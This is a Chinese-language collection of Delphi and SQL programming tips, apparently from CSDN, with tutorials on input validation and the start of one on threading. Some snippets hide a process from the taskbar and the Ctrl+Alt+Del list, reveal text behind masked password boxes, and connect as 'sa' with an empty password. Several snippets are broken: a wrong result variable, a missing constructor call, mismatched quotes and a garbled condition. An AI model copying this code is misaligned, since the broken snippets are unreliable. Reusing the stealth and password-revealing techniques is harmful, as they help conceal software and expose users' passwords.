存储过程如下：
create procedure addrecord(
record1 varchar(10)
record2 varchar(20)
)
as
begin
insert into tablename (field1,field2) values(:record1,:record2)
end
执行存储过程：
EXECUTE procedure addrecord("urrecord1","urrecord2")

◇[DELPHI]将文件存到blob字段中
function blobcontenttostring(const filename: string):string;
begin
with tfilestream.create(filename,fmopenread) do
try
setlength(Result,size);
read(Pointer(Result)^,size);
finally
free;
end;
end;
//保存字段
begin
if (opendialog1.execute) then
begin
sFileName:=OpenDialog1.FileName;
adotable1.edit;
adotable1.fieldbyname('visio').asstring:=Blobcontenttostring(FileName);
adotable1.post;
end;

◇[DELPHI]把文件全部复制到剪贴板
uses shlobj,activex,clipbrd;
procedure Tform1.copytoclipbrd(var FileName:string);
var
FE:TFormatEtc;
Medium: TStgMedium;
dropfiles:PDropFiles;
pFile:PChar;
begin
FE.cfFormat := CF_HDROP;
FE.dwAspect := DVASPECT_CONTENT;
FE.tymed := TYMED_HGLOBAL;
Medium.hGlobal := GlobalAlloc(GMEM_SHARE or GMEM_ZEROINIT, SizeOf(TDropFiles)+length(FileName)+1);
if Medium.hGlobal<>0 then begin
Medium.tymed := TYMED_HGLOBAL;
dropfiles := GlobalLock(Medium.hGlobal);
try
dropfiles^.pfiles := SizeOf(TDropFiles);
dropfiles^.fwide := False;
longint(pFile) := longint(dropfiles)+SizeOf(TDropFiles);
StrPCopy(pFile,FileName);
Inc(pFile, Length(FileName)+1);
pFile^ := #0;
finally
GlobalUnlock(Medium.hGlobal);
end;
Clipboard.SetAsHandle(CF_HDROP,Medium.hGlobal);
end;
end;

◇[DELPHI]列举当前系统运行进程
uses TLHelp32;
procedure TForm1.Button1Click(Sender: TObject);
var lppe: TProcessEntry32;
found : boolean;
Hand : THandle;
begin
Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found := Process32First(Hand,lppe);
while found do
begin
ListBox1.Items.Add(StrPas(lppe.szExeFile));
found := Process32Next(Hand,lppe);
end;
end;

◇[DELPHI]根据BDETable1建立新表Table2
Table2:=TTable.Create(nil);
try
Table2.DatabaseName:=Table1.DatabaseName;
Table2.FieldDefs.Assign(Table1.FieldDefs);
Table2.IndexDefs.Assign(Table1.IndexDefs);
Table2.TableName:='new_table';
Table2.CreateTable();
finally
Table2.Free();
end;

◇[DELPHI]最菜理解DLL建立和引用
//先看DLL source(FILE-->NEW-->DLL)
library project1;
uses
SysUtils, Classes;
function addit(f:integer;s:integer):integer;export;
begin
makeasum:=f+s;
end;
exports
addit;
end.
//调用(IN ur PROJECT)
implementation
function addit(f:integer;s:integer):integer;far;external 'project1';//申明
{调用就是addit(2,4);结果显示6}

◇[DELPHI]动态读取程序自身大小
function GesSelfSize: integer;
var
f: file of byte;
begin
filemode := 0;
assignfile(f, application.exename);
reset(f);
Result := filesize(f);//单位是字节
closefile(f);
end;

◇[DELPHI]读取BIOS信息
with Memo1.Lines do
begin
Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061))));
Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091))));
Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5))));
Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71))));
end;

◇[DELPHI]动态建立MSSQL别名
procedure TForm1.Button1Click(Sender: TObject);
var MyList: TStringList;
begin
MyList := TStringList.Create;
try
with MyList do
begin
Add('SERVER NAME=210.242.86.2');
Add('DATABASE NAME=db');
Add('USER NAME=sa');
end;
Session1.AddAlias('TESTSQL', 'MSSQL', MyList); //ミMSSQL
Session1.SaveConfigFile;
finally
MyList.Free;
Session1.Active:=True;
Database1.DatabaseName:='DB';
Database1.AliasName:='TESTSQL';
Database1.LoginPrompt:=False;
Database1.Params.Add('USER NAME=sa');
Database1.Params.Add('PASSWORD=');
Database1.Connected:=True;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Database1.Connected:=False;
Session1.DeleteAlias('TESTSQL'); 
end;

◇[DELPHI]播放背景音乐
uses mmsystem
//播放音乐
MCISendString('OPEN e:\1.MID TYPE SEQUENCER ALIAS NN', '', 0, 0);
MCISendString('PLAY NN FROM 0', '', 0, 0);
MCISendString('CLOSE ANIMATION', '', 0, 0);
end;
//停止播放
MCISendString('OPEN e:\1.MID TYPE SEQUENCER ALIAS NN', '', 0, 0);
MCISendString('STOP NN', '', 0, 0);
MCISendString('CLOSE ANIMATION', '', 0, 0);

◇[DELPHI]接口和类的一个范例代码
Type{接口和类申明：区别在于不能在接口中申明数据成员、任何非公有的方法、公共方法不使用PUBLIC关键字}
Isample=interface//定义Isample接口
function getstring:string;
end;
Tsample=class(TInterfacedObject,Isample)
public
function getstring:string;
end;
//function定义
function Tsample.getstring:string;
begin
result:='what show is ';
end;
//调用类对象
var sample:Tsample;
begin
sample:=Tsample.create;
showmessage(sample.getstring+'class object!');
sample.free;
end;
//调用接口
var sampleinterface:Isample;
sample:Tsample;
begin
sample:=Tsample.create;
sampleInterface:=sample;//Interface的实现必须使用class
{以上两行也可表达成sampleInterface:=Tsample.create;}
showmessage(sampleInterface.getstring+'Interface!');
//sample.free;{和局部类不同，Interface中的类自动释放}
sampleInterface:=nil;{释放接口对象}
end;

◇[DELPHI]任务条就看不当程序
var
ExtendedStyle : Integer;
begin
Application.Initialize;
ExtendedStyle := GetWindowLong (Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle OR WS_EX_TOOLWINDOW AND NOT WS_EX_APPWINDOW);
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

◇[DELPHI]ALT+CTRL+DEL看不到程序
在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏
RegisterServiceProcess(GetCurrentProcessID, 0);//显示

◇[DELPHI]检测光驱符号
var drive:char;
cdromID:integer;
begin
for drive:='d' to 'z' do
begin
cdromID:=GetDriveType(pchar(drive+':\'));
if cdromID=5 then showmessage('你的光驱为:'+drive+'盘!');
end;
end;

◇[DELPHI]检测声卡
if auxGetNumDevs()<=0 then showmessage('No soundcard found!') else showmessage('Any soundcard found!');

◇[DELPHI]在字符串网格中画图
StringGrid.OnDrawCell事件
with StringGrid1.Canvas do
Draw(Rect.Left, Rect.Top, Image1.Picture.Graphic);

◇[SQL SERVER]SQL中代替Like语句的另一种写法
比如查找用户名包含有"c"的所有用户, 可以用
use mydatabase
select * from table1 where username like'%c%"
下面是完成上面功能的另一种写法:
use mydatabase
select * from table1 where charindex('c',username)>0
这种方法理论上比上一种方法多了一个判断语句,即>0, 但这个判断过程是最快的, 我想信80%以上的运算都是花在查找字
符串及其它的运算上, 所以运用charindex函数也没什么大不了. 用这种方法也有好处, 那就是对%,|等在不能直接用like
查找到的字符中可以直接在这charindex中运用, 如下:
use mydatabase
select * from table1 where charindex('%',username)>0
也可以写成:
use mydatabase
select * from table1 where charindex(char(37),username)>0
ASCII的字符即为%

◇[DELPHI]SQL显示多数据库/表
SELECT DISTINCT A.bianhao,a.xingming, b.gongzi FROM "jianjie.dbf" a, "gongzi.DBF" b
WHERE A.bianhao=b.bianhao

◇[DELPHI]RFC(Request For Comment)相关
IETF(Internet Engineering Task Force)维护RFC文档http://www.ietf.cnri.reston.va.us
RFC882：报文头标结构
RFC1521：MIME第一部分，传输报文方法
RFC1945：多媒体文档传输文档

◇[DELPHI]TNMUUProcessor的使用
var inStream,outStream:TFileStream;
begin
inStream:=TFileStream.create(infile.txt,fmOpenRead);
outStream:=TFileStream(outfile.txt,fmCreate);
NMUUE.Method:=uuCode;{UUEncode/Decode}
//NMUUE.Method:=uuMIME;{MIME}
NMUUE.InputStream:=InStream;
NMUUE.OutputStream:=OutStream;
NMUUE.Encode;{编码处理}
//NMUUE.Decode;{解码处理}
inStream.free;
outStream.free;
end;

◇[DELPHI]TFileStream的操作
//从文件流当前位置读count字节到缓冲区BUFFER
function read(var buffer;count:longint):longint;override;
//将缓冲区BUFFER读到文件流中
function write(const buffer;count:longint):longint;override;
//设置文件流当前读写指针为OFFSET
function seek(offset:longint;origin:word):longint;override;
origin={soFromBeginning,soFromCurrent,soFromEnd}
//从另一文件流中当前位置复制COUNT到当前文件流当前位置
function copyfrom(source:TStream;count:longint):longint;
//读指定文件到文件流
var myFStream:TFileStream;
begin
myFStream:=TFileStream.create(OpenDialog1.filename,fmOpenRead);
end;

[JavaScript]检测是否安装IE插件Shockwave&Quicktime
<script LANGUAGE="JavaScript">
var myPlugin = navigator.plugins["Shockwave"];
if (myPlugin)
document.writeln("你已经安装了 Shockwave!")
else
document.writeln("你尚未安装 Shockwave!")
</script><br>
<script LANGUAGE="JavaScript">
var myPlugin = navigator.plugins["Quicktime"];
if (myPlugin)
document.writeln("你已经安装了Quicktime!")
else
document.writeln("你尚未安装 Quicktime!")
</script>

[INTERNET]表格中引用IFRAME效果
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td><ILAYER id="ad1" visibility="hidden" height="60"></ILAYER> <NOLAYER> <IFRAME SRC="i:\jinhtml\zj\h21.htm" width="500" height="200" marginwidth="0" marginheight="110" hspace="10" vspace="20" frameborder="0" scrolling="1"></IFRAME> </NOLAYER> </td>
</tr>
</table>

◇[DELPHI]WebBrowser控件技巧
1。实现打印功能
var vaIn, vaOut: OleVariant;
WebBrowser.ControlInterface.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER, vaIn, vaOut);
2。WebBrowser从流中读取页面
function TForm1.LoadFromStream(const AStream: TStream): HRESULT;
begin
AStream.seek(0, 0);
Result := (WebBrowser1.Document as IPersistStreamInit).Load(TStreamAdapter.Create(AStream));
end;
3。"about:" protocol will let you Navigate to an HTML string:
procedure TForm1.LoadHTMLString(sHTML: String);
var Flags, TargetFrameName, PostData, Headers: OleVariant;
WebBrowser1.Navigate('about:' + sHTML, Flags, TargetFrameName, PostData, Headers)
4。"res:" protocol will let you Navigate to an HTML file stored as a resource. More informations is available from the Microsoft site:
procedure TForm1.LoadHTMLResource;
var Flags, TargetFrameName, PostData, Headers: OleVariant;
WebBrowser1.Navigate('res://' + Application.ExeName + '/myhtml', Flags, TargetFrameName, PostData, Headers)
使用brcc32.exe建立资源文件 (*.rc)
MYHTML 23 ".\html\myhtml.htm"
MOREHTML 23 ".\html\morehtml.htm"
{$R HTML.RES} //html.rc被编译成html.res
5。保存完整的HTML文件
var
HTMLDocument: IHTMLDocument2;
PersistFile: IPersistFile;
begin
HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
PersistFile := HTMLDocument as IPersistFile;
PersistFile.Save(StringToOleStr('test.htm'), True);
while HTMLDocument.readyState <> 'complete' do
Application.ProcessMessages;
end;

◇[DELPHI]安装WebBrowser控件（内嵌IE控件）
你必须先确定系统已安装Internet Explorer4或以后版本，DELPHI菜单--Component- - Import ActiveX Contro，列表中选择Microsoft Internet Controls"并ADD到一个已存在的包文件中，WebBrowser控件将显示在ActiveX控件面板。

◇[DELPHI]实现windows2000半透明窗体
function SetLayeredWindowAttributes(hwnd:HWND; crKey:Longint; bAlpha:byte; dwFlags:longint ):longint; stdcall; external user32;//函数声明
procedure TForm1.FormCreate(Sender: TObject);
var l:longint;
begin
l:=getWindowLong(Handle, GWL_EXSTYLE);
l := l Or $80000;
SetWindowLong (handle, GWL_EXSTYLE, l);
SetLayeredWindowAttributes(handle, 0, 180, 2);
end;

◇[DELPHI]程序显示广告WebBrowser加载图片
var Flag, frame, pData, Header: OLEVariant;
begin
WebBrowser1.Navigate('http://www.chineseall.com/images/logo.jpg', flag, frame,pData, Header)
end;

◇[DELPHI]计算一个目录的大小
function GetDirectorySize(const ADirectory: string): Integer;
var
Dir: TSearchRec;
Ret: integer;
Path: string;
begin
Result := 0;
Path := ExtractFilePath(ADirectory);
Ret := Sysutils.FindFirst(ADirectory, faAnyFile, Dir);
if Ret <> NO_ERROR then
exit;
try
while ret=NO_ERROR do
begin
inc(Result, Dir.Size);
//如果是目录，且不是'.'或'..'则进行递归调用
if (Dir.Attr in [faDirectory]) and (Dir.Name[1] <> '.') then
Inc(Result, GetDirectorySize(Path + Dir.Name + '\*.*'));
Ret := Sysutils.FindNext(Dir);
end;
finally
Sysutils.FindClose(Dir);
end;
end;

◇[DELPHI]清空一个目录
function EmptyDirectory(TheDirectory :String ; Recursive : Boolean) :
Boolean;
var
SearchRec : TSearchRec;
Res : Integer;
begin
Result := False;
TheDirectory := NormalDir(TheDirectory);
Res := FindFirst(TheDirectory + '*.*', faAnyFile, SearchRec);
try
while Res = 0 do
begin
if (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
begin
if ((SearchRec.Attr and faDirectory) > 0) and Recursive
then begin
EmptyDirectory(TheDirectory + SearchRec.Name, True);
RemoveDirectory(PChar(TheDirectory + SearchRec.Name));
end
else begin
DeleteFile(PChar(TheDirectory + SearchRec.Name))
end;
end;
Res := FindNext(SearchRec);
end;
Result := True;
finally
FindClose(SearchRec.FindHandle);
end;
end;

◇[DELPHI]发布ADO程序之安装ADO
运行一次 MDac_typ.exe ，这个文件在微软的 Windows、IE、Office、Visual Studio 中都有。
安装程序所安装后的目录与程序中设置的目录路径一样，C:\Program Files\Common Files\System\ado文件夹中有没有ADO组件，装ACCESS2000就有ADO2.1，没有则安装MS OFfice2000，编译要去掉project->Option->Packages对话框中的Build With RunTime Library的勾。

◇[DELPHI]拦截Windows系统消息：WM_CLOSE消息
procedure WMClose(var Msg: TMessage);message WM_CLOSE;
procedure TMainForm.WMClose(var Msg: TMessage);
begin
m_bCloseNoQuery := false;
inherited;
end;


CSDN_文档中心_显示密码编辑框中的密码

我们在使用Windows时，经常会碰到一些密码编辑框，输入其中的文字都以“＊”显示。现在，有许多共享软件和自由软件都可以实现隐藏密码的正确显示。究竟这是怎样实现的呢！其实，这比较简单，虽然这些信息都以“＊”显示，但其内部还是以当初的字符表示，所以，我们只要用Windows API函数就可以实现。

    在Windows中，每一个窗口、控件都有它的名字（叫做Name或Window Text）。对于Form、Dialog Box、Message Box来说，名字就显示在Title Bar中；对于Edit、Button、Static Control，名字显示在他所占的区域中。密码编辑框本身就是个Edit控件，虽然显示的是特殊字符，但名字属性没有变，还是输入时的字符。Windows提供了两个API函数来获得这个名字：

    int GetWindowTextLength(HWND hWnd); ／／ 得到名字的长度

    其中，hWnd ：想要得到的那个窗口或控件的句柄 handle

    int GetWindowText(HWND hWnd, LPTSTR lpString, int nMaxCount );／／ 得到名字

    其中，hWnd ：想要得到的那个窗口或控件的句柄 handle；

    lpString：存放名字的字符串的地址

    nMaxCount ：可拷贝的最大字符数

    下面以Delphi为例，说明它的实现过程。

    新建一Form，放置Label、Edit、Button各一个到Form中，将Edit1的PasswordChar属性改为“＊”，双击Button1：

    procedure TForm1.Button1Click(Sender: TObject);

    var

    Name:PChar; ／／ 名字

    L:integer; ／／ 名字的长度

    begin

    L:=GetWindowTextLength(Edit1.handle)＋1; ／／ 得到名字长度，并将长度加1

    GetMem(Name,L);／／为将要得到的名字分配内存

    GetWindowText(Edit1.handle,Name,L);／／得到名字

    label1.Caption:=String(Name); ／／ 将得到的名字显示于 Label1

    FreeMem(Name,0); ／／ 释放分配的内存

    end;

    经过运行，在Edit1中输入的密码就可通过Label1显示出来。


CSDN_文档中心_限制并方便用户输入

限制并方便用户输入(2002/12/03 三金 版权所有)

防止用户误输入是软件开发的一项必不可少的工作，除才之外，还要为用户
的使用提供最大方便。当然，我们可以利用或开发新的组件，以完成这些功能。
但是，在团队开发中，每个成员都用自己认为不错的组件开发自己所承担的模
块，会给软件的后期维护带来麻烦。交工的时候，项目负责人可不买你的帐。如
果你用函数调用来完成这些功能，老盖也管不着。下面就是针对常用delphi组件
的限制用户输入函数，但愿网友们能用的上。
（一）TEdit、TDBEdit、TComboBox、TDBComboBox的输入
分三种类型限制：
（1）任意输入
（2）整数输入
（3）浮点数输入
限制的项目如下：
（1）整数输入只能输入数字0-9、+、-
（2）浮点输入只能输入数字0-9、+、-、.
（3）+和-只能有其一，并且只能出现在最前面
（4）.只能有一个
（5）限制小数位数
函数如下：
procedure MxFormatKeyPress(Text:string;SelStart,SelLength:integer;
var Key:Char;EditType:integer;Digits:integer);
begin
if (Key=#27) or (Key=#8) or (EditType=1) then exit;
if EditType=2 then
if not (Key in ['0'..'9','+','-'] ) then Key:=#0;
if EditType=3 then
if not (Key in ['0'..'9','+','-','.'] ) then Key:=#0;
//控制+-
if (Key ='-') or (Key='+' ) then begin
if ((Pos('-',Text) > 0) or (Pos('+',Text) > 0 )) and
(SelLength=0 ) then Key:=#0;
if SelStart > 0 then Key:=#0;
end;
//控制.
if (Key = '.') and (EditType=3 ) then begin
if (Pos('.',Text) > 0) and (not((SelStart=Pos('.',Text) ))) then Key:=#0;
if SelStart=0 then Key:=#0;
if (Digits>0) and (SelStart+SelLength0) and (EditType=3) then
if (pos('.',Text )>0 ) and (SelStart>=pos('.',Text)) then
if length(Text)-pos('.',Text )>=Digits then Key:=#0;
end;

此函数在所限制组件的OnKeyPress事件中调用。Key即为OnKeyPress携带的
Key:Char参数；EditType为限制的类型：1-任意输入；2-整数输入；3-浮点输入；
Digits为浮点数输入时小数的位数，如果是零，则可输入任意位数。另外，此
函数只适用于有Text、SelStart、SelLength等属性的TWinControl类的派生类。
具体限制各组件的二级函数如下：

限制TEdit、TDBEdit：
procedure MxFormatEditKeyPress(Edit:TCustomEdit;var Key:Char;EditType:integer;
Digits:integer);
begin
MxFormatKeyPress(Edit.Text,Edit.SelStart,Edit.SelLength,Key,EditType,Digits);
end;

限制TComboBox：
procedure MxFormatComboKeyPress(Combo:TComboBox;var Key:Char;EditType:integer;
Digits:integer);
begin
MxFormatKeyPress(Combo.Text,Combo.SelStart,Combo.SelLength,Key,EditType,Digits);
end;

限制TDBComboBox：
procedure MxFormatDBComboKeyPress(Combo:TDBComboBox;var Key:Char;
EditType:integer;Digits:integer);
begin
MxFormatKeyPress(Combo.Text,Combo.SelStart,Combo.SelLength,Key,EditType,Digits);
end;

调用示例：
假如Form1上有一ComboBox1，让用户只输入浮点数，并且小数位数为两位。则
可以在ComboBox1的OnKeyPress事件中调用上面的函数，代码如下：
procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char);
begin
MxFormatComboKeyPress(Combobox1,Key,3,0);
end;

如果你的窗体上有多各TComboBox，并且限制类型一致，则不必每个TComboBox都
书写代码，只需为其中一个编写事件处理代码，其它作连接即可。
procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char);
begin
MxFormatComboKeyPress(Sender as TComboBox,Key,3,0);
end;
其它组件调用方法同上。

（二）时间的输入
限制类型：
（1）时分
（2）时分秒
组件采用TMaskEdit，数据敏感采用TDBEdit。
限制项目如下：
（1）小时只能输入0-23
（2）分钟不超过59
（3）秒不超过59
（4）用户只能全删，而不能只删某一位数据
（5）箭头键可以更改时间
需要在组件的OnKeyPress和OnKeyDown事件中分别书写代码。

procedure MxFormatTimeKeyPress(ctl:TCustomMaskEdit;TimeFormat:integer;
var Key:Char;dts:TDataSource);
var
TextSave:string;
EditingPos:integer;//1-h 2-m 3-s
i:integer;
NumChars:set of Char;
SelStartSave,SelLengthSave:integer;
CharValid:boolean;
begin
NumChars:=['0'..'9'];
if Key=^V then Key:=#0;
if not (Key in NumChars ) then exit;
TextSave:=ctl.Text;
SelStartSave:=ctl.SelStart;
SelLengthSave:=ctl.SelLength;
case ctl.SelStart of
0,1: EditingPos:=1;
3,4: EditingPos:=2;
6,7: EditingPos:=3;
else EditingPos:=0;
end;
///////////////////////////////////////
CharValid:=true;
case EditingPos of
1: begin
if SelStartSave=0 then begin
if not (Key in ['0'..'2']) then CharValid := False;
if (Key ='2' ) and (TextSave[2] in ['4'..'9']) then
CharValid:=false;
end;
if (SelStartSave = 1) and (TextSave[1] = '2') and
(not (Key in ['0'..'3'])) then CharValid := False;
end;
2: if (SelStartSave = 3) and not (Key in ['0'..'5']) then CharValid := False;
3: if (SelStartSave = 6) and not (Key in ['0'..'5']) then CharValid := False;
end;
if not CharValid then begin
Key:=#0;exit;
end;
if dts<>nil then dts.DataSet.Edit;
if not (SelStartSave in [2,5]) then TextSave[SelStartSave+1]:=Key;
if SelLengthSave>1 then begin
for i:=SelStartSave+2 to SelStartSave+SelLengthSave do
if i in [1,2,4,5,7,8] then TextSave[i]:='0';
SelLengthSave:=1;
end;
for i:=1 to length(TextSave) do
if (i in [1,2,4,5,7,8]) and (not (TextSave[i] in NumChars ) ) then
TextSave[i]:='0';
////////////////////////////////////
if SelStartSave in [1,4] then
SelStartSave :=SelStartSave+2
else if SelStartSave=length(TextSave)-1 then
SelStartSave :=SelStartSave
else SelStartSave :=SelStartSave+1;
/////////////////////////////////////
ctl.Text :=TextSave;
ctl.SelStart :=SelStartSave;
ctl.SelLength :=SelLengthSave;
Key:=#0;
end;

//此函数分割时间，因为有时候会遇到非法的时间字符串，所以不采用DecodeTime。
function MxSplitStr(SourceStr,SplitStr:string;var ResultArray:array of string):integer;
var
i:integer;
strTmp:string;
begin
strTmp:=SourceStr;
i:=0;
while pos(SplitStr,strTmp)>0 do begin
ResultArray[i]:=copy(strTmp,1,pos(SplitStr,strTmp)-1);
strTmp:=copy(strTmp,pos(SplitStr,strTmp)+length(SplitStr),length(strTmp)-
pos(SplitStr,strTmp));
i:=i+1;
end;
ResultArray[i]:=strTmp;
result:=i+1;
end;
//此函数检查字符串是否为合法的时间
function TimeValid(TimeStr:string;TimeFormat:integer):boolean;
var
h,m,s:string;
ary:array[0..2] of string;
SplitRet:integer;
i:integer;
begin
result:=true;
SplitRet:=MxSplitStr(TimeStr,':',ary);
if SplitRet<2 then begin
result:=false; exit;
end;
for i:=0 to 2 do begin
if length(ary[i])>2 then begin
result:=false; exit;
end;
ary[i]:=trim(ary[i]);
end;
h:=ary[0];m:=ary[1];
if TimeFormat=3 then s:=ary[2];
///////////////////////////////
if (h='') or (strtoint(h)>23 ) then begin
result:=false; exit;
end;
if (m='' ) or (strtoint(m)>59) then begin
result:=false; exit;
end;
if (TimeFormat=3) then
if (s='') or (strtoint(s)>59) then begin
result:=false; exit;
end;
end;
//此函数对时分秒进行加减运算
function IncTime(ATime: TDateTime; Hours, Minutes, Seconds,
MSecs: Integer): TDateTime;
begin
Result := ATime + (Hours div 24) + (((Hours mod 24) * 3600000 +
Minutes * 60000 + Seconds * 1000 + MSecs) / MSecsPerDay);
if Result < 0 then Result := Result + 1;
end;
//时分秒加减运算的二级函数
function TimeAdd(TimeStr:string;TimeFormat:integer;
HStep,MStep,SStep:integer):string;
var
dt:Tdatetime;
begin
if not TimeValid(TimeStr,TimeFormat) then
if TimeFormat=2 then begin result:='00:00'; exit; end
else begin result:='00:00:00';exit; end;
dt:=strtotime(TimeStr);
if TimeFormat=2 then
result:=FormatDateTime('hh:mm',IncTime(dt,HStep,MStep,SStep,0))
else
result:=FormatDateTime('hh:mm:ss',IncTime(dt,HStep,MStep,SStep,0))
end;
//限制组件的OnKeyDown
procedure MxFormatTimeKeyDown(ctl:TCustomMaskEdit;TimeFormat:integer;
var Key:word;Shift: TShiftState;dts:TDataSource);
var
TextSave:string;
SelStartSave,SelLengthSave:integer;
EditingPos:integer;//1-h 2-m 3-s
i:integer;
begin
if (ssShift in Shift) and (Key<>vk_delete ) then exit;
if not (Key in [vk_delete,vk_back,vk_up,vk_down] ) then exit;
if (dts<>nil ) and (not dts.DataSet.Active ) then exit;
if (dts<>nil) and (not dts.DataSet.Modified ) then
dts.DataSet.Edit;
//////////////////////////////////////
TextSave:=ctl.Text;
SelStartSave:=ctl.SelStart;
SelLengthSave:=ctl.SelLength;
case SelStartSave of
0,1: EditingPos:=1;
3,4: EditingPos:=2;
6,7: EditingPos:=3;
else EditingPos:=0;
end;
if SelStartSave=length(TextSave) then
EditingPos:=TimeFormat;
if Key=vk_delete then begin
if SelLengthSave=length(TextSave) then TextSave:=''
else begin
if not (SelStartSave in [2,5]) then TextSave[SelStartSave+1]:='0';
if SelLengthSave>1 then begin
for i:=SelStartSave+2 to SelStartSave+SelLengthSave do
if i in [1,2,4,5,7,8] then TextSave[i]:='0';
SelLengthSave:=1;
end;
end;
Key:=0;
end;
if Key=vk_back then begin
if SelLengthSave=length(TextSave) then TextSave:=''
else if SelLengthSave<=1 then begin
if not (SelStartSave in [3,6]) then begin
TextSave[SelStartSave]:='0';
SelStartSave:=SelStartSave-1;
end else begin
TextSave[SelStartSave-1]:='0';
SelStartSave:=SelStartSave-2;
end;
SelLengthSave:=1;
end else begin
for i:=SelStartSave+1 to SelStartSave+SelLengthSave do
if i in [1,2,4,5,7,8] then TextSave[i]:='0';
SelLengthSave:=1;
end;
Key:=0;
end;
///////////////////////////////////////
if (Key=vk_up) or (Key=vk_down ) then begin
if trim(TextSave)=':' then begin
if TimeFormat=2 then TextSave:='00:00'
else TextSave:='00:00:00'
end else begin
if Key=vk_up then
case EditingPos of
1: TextSave:=TimeAdd(TextSave,TimeFormat,1,0,0);
2: TextSave:=TimeAdd(TextSave,TimeFormat,0,1,0);
3: TextSave:=TimeAdd(TextSave,TimeFormat,0,0,1);
end;
if Key=vk_down then
case EditingPos of
1: TextSave:=TimeAdd(TextSave,TimeFormat,-1,0,0);
2: TextSave:=TimeAdd(TextSave,TimeFormat,0,-1,0);
3: TextSave:=TimeAdd(TextSave,TimeFormat,0,0,-1);
end;
end;
end;
///////////////////////////////////////
ctl.Text :=TextSave;
ctl.SelStart :=SelStartSave;
ctl.SelLength :=SelLengthSave;
end;
以上函数的TimeFormat参数代表时间的类型：1-时:分；2-时:分:秒
要完成对时间的输入限制，只需调用上面的MxFormatTimeKeyPress，
MxFormatTimeKeyDown两个函数。
调用示例：
（1）TMaskEdit
procedure TForm1.MaskEdit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
MxFormatTimeKeyDown(Sender as TCustomMaskEdit,2,Key,Shift,nil);
end;

procedure TForm1.MaskEdit1KeyPress(Sender: TObject; var Key: Char);
begin
MxFormatTimeKeyPress(Sender as TCustomMaskEdit,2,Key,nil);
end;
并且，TMaskEdit的EditMask属性设为'99:99'
（2）TDBEdit

procedure TForm1.DBEdit1KeyPress(Sender: TObject; var Key: Char);
begin
MxFormatTimeKeyPress(Sender as TCustomMaskEdit,2,Key,(Sender as TDBEdit).DataSource);
end;

procedure TForm1.DBEdit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
MxFormatTimeKeyDown(Sender as TCustomMaskEdit,2,Key,Shift,(Sender as TDBEdit).DataSource);
end;
在TDBEdit所连接的数据源打开后，设定所连字段的EditMask属性为99:99：
DBEdit1.Field.EditMask :='99:99';

（三）日期的输入
采用Rx的日期组件TDateEdit、TDBDateEdit。如果你还没安装，请在本站下载。
无需对日期的输入作限制，只需方便用户的输入。即：箭头键可以改变相应的
日期元素，因为Rx五次功能。函数如下：
procedure MxSpinRxDateEdit(Edit:TCustomDateEdit;Key:word;Shift:TShiftState;
dts:TDataSource);
var
DateStr,Mark,str:string;
MarkPos1,MarkPos2:integer;
DateOrd:TDateOrder;
DateFlag,step:integer;
OldSelStart:integer;
begin
if Shift<>[] then exit;
if not (Key in [vk_up,vk_down] ) then exit;
if (dts<>nil ) and (not dts.DataSet.Active ) then exit;
if (dts<>nil ) and (not dts.DataSet.Modified) then
dts.DataSet.Edit;
OldSelStart:=Edit.SelStart;
DateStr:=Edit.EditText;
Mark:=GetDateMark(DateStr);
MarkPos1:=pos(Mark,DateStr);
str:=copy(DateStr,MarkPos1+1,length(DateStr)-MarkPos1);
MarkPos2:=MarkPos1+pos(Mark,str);
DateOrd:=GetDateOrder(ShortDateFormat);
DateFlag:=GetDateFlag(MarkPos1,MarkPos2,Edit.SelStart,DateOrd);
if Key=vk_up then step:=1
else if Key=vk_down then step:=-1
else step:=0;
case DateFlag of
1: Edit.Date := IncYear(Edit.Date ,step);
2: Edit.Date := IncMonth(Edit.Date ,step);
3: Edit.Date := IncDay(Edit.Date ,step);
end;
Edit.SelStart :=OldSelStart;
end;

此函数在组件的OnKeyDown事件中调用，对于TDateEdit，DataSoure参数为nil。
记着引用Rx的单元ToolEdit和DateUtil。
调用示例：
procedure TForm1.DateEdit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
MxSpinRxDateEdit(Sender as TCustomDateEdit,Key,Shift,nil);
end;

procedure TForm1.DBDateEdit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
MxSpinRxDateEdit(Sender as TCustomDateEdit,Key,Shift,(Sender as TDBDateEdit).DataSource);
end;

更多文章请访问三金主页http://vip.6to23.com/tianmingxin


CSDN_文档中心_详细教你如何使用delphi中thread的线程编程

为什么要用线程，简单一点来说吧，省得有些象我一样的新手听不懂，当你编完一个程序，例如是读取文件的程序，如果你读取的文件很大，你的程序如果不是通过线程来执行的话，你一动这个正在读取文件的程序窗口，结果是什么，“死屏”就是你的程序根本拖不动，无法继续做其它的事了，呵呵，如果你用线程，什么问题都解决了，废话少讲，要学的看以下文章吧。

首先当然是打开你的delphi 6 ，点取菜单栏中的文件－新建－其它，弹出一个标签窗口，选取new标签，然后找到Thread Object，就是它了，双击它就行了，弹出一个类命名窗口，输入mythread，当然名称可由你自已来定的。这时程序自动创建一个unit，我这里是unit2，现在我们来看unit，代码如下：

unit Unit2;

interface

uses
Classes;

type
mythread = class(TThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;

implementation

{ Important: Methods and properties of objects in VCL or CLX can only be used
in a method called using Synchronize, for example,

Synchronize(UpdateCaption);

and UpdateCaption could look like,

procedure mythread.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }

{ mythread }

